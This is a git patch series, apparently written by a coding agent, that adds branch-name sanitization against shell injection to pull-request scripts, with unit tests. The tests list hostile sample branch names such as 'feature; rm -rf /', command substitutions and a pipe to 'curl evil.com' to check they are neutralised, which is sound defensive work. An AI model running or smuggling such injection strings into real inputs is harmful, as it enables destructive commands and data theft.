From 1c5bfac257c64daeed1da4a4a9250240f6418c75 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Mon, 16 Feb 2026 15:08:28 +0000 Subject: [PATCH 1/4] Initial plan From 872b1570c445560dbbfa24272edcd3c2beb986a8 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Mon, 16 Feb 2026 15:13:57 +0000 Subject: [PATCH 2/4] Add branch name sanitization to prevent shell injection (CWE-78) Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com> --- actions/setup/js/create_pull_request.cjs | 17 +++ actions/setup/js/create_pull_request.test.cjs | 128 ++++++++++++++++++ .../setup/js/push_to_pull_request_branch.cjs | 17 +++ 3 files changed, 162 insertions(+) diff --git a/actions/setup/js/create_pull_request.cjs b/actions/setup/js/create_pull_request.cjs index dfa5f1dce0..4157e8fbd9 100644 --- a/actions/setup/js/create_pull_request.cjs +++ b/actions/setup/js/create_pull_request.cjs @@ -15,6 +15,7 @@ const { replaceTemporaryIdReferences, isTemporaryId } = require("./temporary_id. const { resolveTargetRepoConfig, resolveAndValidateRepo } = require("./repo_helpers.cjs"); const { createExpirationLine, generateFooterWithExpiration } = require("./ephemerals.cjs"); const { generateWorkflowIdMarker } = require("./generate_footer.cjs"); +const { normalizeBranchName } = require("./normalize_branch_name.cjs"); /** * @typedef {import('./types/handler-factory').HandlerFactoryFunction} HandlerFactoryFunction @@ -411,6 +412,22 @@ async function main(config = {}) { let bodyLines = processedBody.split("\n"); let branchName = pullRequestItem.branch ? pullRequestItem.branch.trim() : null; + // SECURITY: Sanitize branch name to prevent shell injection (CWE-78) + // Branch names from user input must be normalized before use in git commands + if (branchName) { + const originalBranchName = branchName; + branchName = normalizeBranchName(branchName); + + // Validate it's not empty after normalization + if (!branchName) { + throw new Error(`Invalid branch name: sanitization resulted in empty string (original: "${originalBranchName}")`); + } + + if (originalBranchName !== branchName) { + core.info(`Branch name sanitized: "${originalBranchName}" -> "${branchName}"`); + } + } + // If no title was found, use a default if (!title) { title = "Agent Output"; diff --git a/actions/setup/js/create_pull_request.test.cjs b/actions/setup/js/create_pull_request.test.cjs index 6f0d680d35..1ee898d65e 100644 --- a/actions/setup/js/create_pull_request.test.cjs +++ b/actions/setup/js/create_pull_request.test.cjs @@ -104,3 +104,131 @@ describe("create_pull_request - max limit enforcement", () => { expect(() => enforcePullRequestLimits(patchContent)).not.toThrow(); }); }); + +describe("create_pull_request - security: branch name sanitization", () => { + it("should sanitize branch names with shell metacharacters", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + // Test shell injection attempts - forward slashes and dots are valid in git branch names + const dangerousNames = [ + { input: "feature; rm -rf /", expected: "feature-rm-rf-/" }, + { input: "branch$(malicious)", expected: "branch-malicious" }, + { input: "branch`backdoor`", expected: "branch-backdoor" }, + { input: "branch| curl evil.com", expected: "branch-curl-evil.com" }, + { input: "branch && echo hacked", expected: "branch-echo-hacked" }, + { input: "branch || evil", expected: "branch-evil" }, + { input: "branch > /etc/passwd", expected: "branch-/etc/passwd" }, + { input: "branch < input.txt", expected: "branch-input.txt" }, + { input: "branch\\x00null", expected: "branch-x00null" }, + ]; + + for (const { input, expected } of dangerousNames) { + const result = normalizeBranchName(input); + expect(result).toBe(expected); + // Verify dangerous shell metacharacters are removed + expect(result).not.toContain(";"); + expect(result).not.toContain("$"); + expect(result).not.toContain("`"); + expect(result).not.toContain("|"); + expect(result).not.toContain("&"); + expect(result).not.toContain(">"); + expect(result).not.toContain("<"); + expect(result).not.toContain("\\x00"); + } + }); + + it("should sanitize branch names with newlines and control characters", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + const controlCharNames = [ + { input: "branch\nwith\nnewlines", expected: "branch-with-newlines" }, + { input: "branch\rwith\rcarriage", expected: "branch-with-carriage" }, + { input: "branch\twith\ttabs", expected: "branch-with-tabs" }, + { input: "branch\x1b[31mwith\x1b[0mescapes", expected: "branch-31mwith-0mescapes" }, + ]; + + for (const { input, expected } of controlCharNames) { + const result = normalizeBranchName(input); + expect(result).toBe(expected); + expect(result).not.toContain("\n"); + expect(result).not.toContain("\r"); + expect(result).not.toContain("\t"); + expect(result).not.toMatch(/\x1b/); + } + }); + + it("should sanitize branch names with spaces and special characters", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + const specialCharNames = [ + { input: "branch with spaces", expected: "branch-with-spaces" }, + { input: "branch!@#$%^&*()", expected: "branch" }, + { input: "branch[brackets]", expected: "branch-brackets" }, + { input: "branch{braces}", expected: "branch-braces" }, + { input: "branch:colon", expected: "branch-colon" }, + { input: 'branch"quotes"', expected: "branch-quotes" }, + { input: "branch'single'quotes", expected: "branch-single-quotes" }, + ]; + + for (const { input, expected } of specialCharNames) { + const result = normalizeBranchName(input); + expect(result).toBe(expected); + } + }); + + it("should preserve valid branch name characters", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + const validNames = [ + { input: "feature/my-branch_v1.0", expected: "feature/my-branch_v1.0" }, + { input: "hotfix-123", expected: "hotfix-123" }, + { input: "release_v2.0.0", expected: "release_v2.0.0" }, + ]; + + for (const { input, expected } of validNames) { + const result = normalizeBranchName(input); + expect(result).toBe(expected); + } + }); + + it("should handle empty strings after sanitization", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + // Branch names that become empty after sanitization + const emptyAfterSanitization = ["!@#$%^&*()", ";;;", "|||", "---"]; + + for (const input of emptyAfterSanitization) { + const result = normalizeBranchName(input); + expect(result).toBe(""); + } + }); + + it("should truncate long branch names to 128 characters", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + const longBranchName = "a".repeat(200); + const result = normalizeBranchName(longBranchName); + expect(result.length).toBeLessThanOrEqual(128); + }); + + it("should collapse multiple dashes to single dash", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + expect(normalizeBranchName("branch---with---dashes")).toBe("branch-with-dashes"); + expect(normalizeBranchName("branch with spaces")).toBe("branch-with-spaces"); + }); + + it("should remove leading and trailing dashes", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + expect(normalizeBranchName("---branch---")).toBe("branch"); + expect(normalizeBranchName("---")).toBe(""); + }); + + it("should convert to lowercase", () => { + const { normalizeBranchName } = require("./normalize_branch_name.cjs"); + + expect(normalizeBranchName("Feature/MyBranch")).toBe("feature/mybranch"); + expect(normalizeBranchName("UPPERCASE")).toBe("uppercase"); + }); +}); diff --git a/actions/setup/js/push_to_pull_request_branch.cjs b/actions/setup/js/push_to_pull_request_branch.cjs index fb2734d847..3619156359 100644 --- a/actions/setup/js/push_to_pull_request_branch.cjs +++ b/actions/setup/js/push_to_pull_request_branch.cjs @@ -7,6 +7,7 @@ const { generateStagedPreview } = require("./staged_preview.cjs"); const { updateActivationCommentWithCommit } = require("./update_activation_comment.cjs"); const { getErrorMessage } = require("./error_helpers.cjs"); const { replaceTemporaryIdReferences } = require("./temporary_id.cjs"); +const { normalizeBranchName } = require("./normalize_branch_name.cjs"); /** * @typedef {import('./types/handler-factory').HandlerFactoryFunction} HandlerFactoryFunction @@ -208,6 +209,22 @@ async function main(config = {}) { return { success: false, error: `Failed to determine branch name for PR ${pullNumber}` }; } + // SECURITY: Sanitize branch name to prevent shell injection (CWE-78) + // Branch names from GitHub API must be normalized before use in git commands + if (branchName) { + const originalBranchName = branchName; + branchName = normalizeBranchName(branchName); + + // Validate it's not empty after normalization + if (!branchName) { + return { success: false, error: `Invalid branch name: sanitization resulted in empty string (original: "${originalBranchName}")` }; + } + + if (originalBranchName !== branchName) { + core.info(`Branch name sanitized: "${originalBranchName}" -> "${branchName}"`); + } + } + core.info(`Target branch: ${branchName}`); core.info(`PR title: ${prTitle}`); core.info(`PR labels: ${prLabels.join(", ")}`); From 53b70cad93668698956ded6a490298954b14b038 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Mon, 16 Feb 2026 15:15:13 +0000 Subject: [PATCH 3/4] Add defense-in-depth sanitization for base_branch configuration Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com> --- actions/setup/js/create_pull_request.cjs | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/actions/setup/js/create_pull_request.cjs b/actions/setup/js/create_pull_request.cjs index 4157e8fbd9..6f5409a560 100644 --- a/actions/setup/js/create_pull_request.cjs +++ b/actions/setup/js/create_pull_request.cjs @@ -97,7 +97,7 @@ async function main(config = {}) { const autoMerge = config.auto_merge || false; const expiresHours = config.expires ? parseInt(String(config.expires), 10) : 0; const maxCount = config.max || 1; // PRs are typically limited to 1 - const baseBranch = config.base_branch || ""; + let baseBranch = config.base_branch || ""; const maxSizeKb = config.max_patch_size ? parseInt(String(config.max_patch_size), 10) : 1024; const { defaultTargetRepo, allowedRepos } = resolveTargetRepoConfig(config); const includeFooter = config.footer !== false; // Default to true (include footer) @@ -113,6 +113,17 @@ async function main(config = {}) { throw new Error("base_branch configuration is required"); } + // SECURITY: Sanitize base branch name to prevent shell injection (defense in depth) + // Even though base_branch comes from workflow config, normalize it for safety + const originalBaseBranch = baseBranch; + baseBranch = normalizeBranchName(baseBranch); + if (!baseBranch) { + throw new Error(`Invalid base_branch: sanitization resulted in empty string (original: "${originalBaseBranch}")`); + } + if (originalBaseBranch !== baseBranch) { + core.warning(`Base branch name sanitized: "${originalBaseBranch}" -> "${baseBranch}"`); + } + // Extract triggering issue number from context (for auto-linking PRs to issues) const triggeringIssueNumber = context.payload?.issue?.number && !context.payload?.issue?.pull_request ? context.payload.issue.number : undefined; From 45a644ea16f822a00c8ba9149fbd7b4bea676b25 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Mon, 16 Feb 2026 15:30:11 +0000 Subject: [PATCH 4/4] Address PR review feedback: add actual null byte test and fail on baseBranch changes Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com> --- actions/setup/js/create_pull_request.cjs | 3 ++- actions/setup/js/create_pull_request.test.cjs | 6 ++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/actions/setup/js/create_pull_request.cjs b/actions/setup/js/create_pull_request.cjs index 6f5409a560..aad00abe1a 100644 --- a/actions/setup/js/create_pull_request.cjs +++ b/actions/setup/js/create_pull_request.cjs @@ -120,8 +120,9 @@ async function main(config = {}) { if (!baseBranch) { throw new Error(`Invalid base_branch: sanitization resulted in empty string (original: "${originalBaseBranch}")`); } + // Fail if base branch name changes during normalization (indicates invalid config) if (originalBaseBranch !== baseBranch) { - core.warning(`Base branch name sanitized: "${originalBaseBranch}" -> "${baseBranch}"`); + throw new Error(`Invalid base_branch: contains invalid characters (original: "${originalBaseBranch}", normalized: "${baseBranch}")`); } // Extract triggering issue number from context (for auto-linking PRs to issues) diff --git a/actions/setup/js/create_pull_request.test.cjs b/actions/setup/js/create_pull_request.test.cjs index 1ee898d65e..f2bf54491d 100644 --- a/actions/setup/js/create_pull_request.test.cjs +++ b/actions/setup/js/create_pull_request.test.cjs @@ -119,7 +119,8 @@ describe("create_pull_request - security: branch name sanitization", () => { { input: "branch || evil", expected: "branch-evil" }, { input: "branch > /etc/passwd", expected: "branch-/etc/passwd" }, { input: "branch < input.txt", expected: "branch-input.txt" }, - { input: "branch\\x00null", expected: "branch-x00null" }, + { input: "branch\x00null", expected: "branch-null" }, // Actual null byte, not escaped string + { input: "branch\\x00null", expected: "branch-x00null" }, // Escaped string representation ]; for (const { input, expected } of dangerousNames) { @@ -133,7 +134,8 @@ describe("create_pull_request - security: branch name sanitization", () => { expect(result).not.toContain("&"); expect(result).not.toContain(">"); expect(result).not.toContain("<"); - expect(result).not.toContain("\\x00"); + expect(result).not.toContain("\x00"); // Actual null byte + expect(result).not.toContain("\\x00"); // Escaped string } });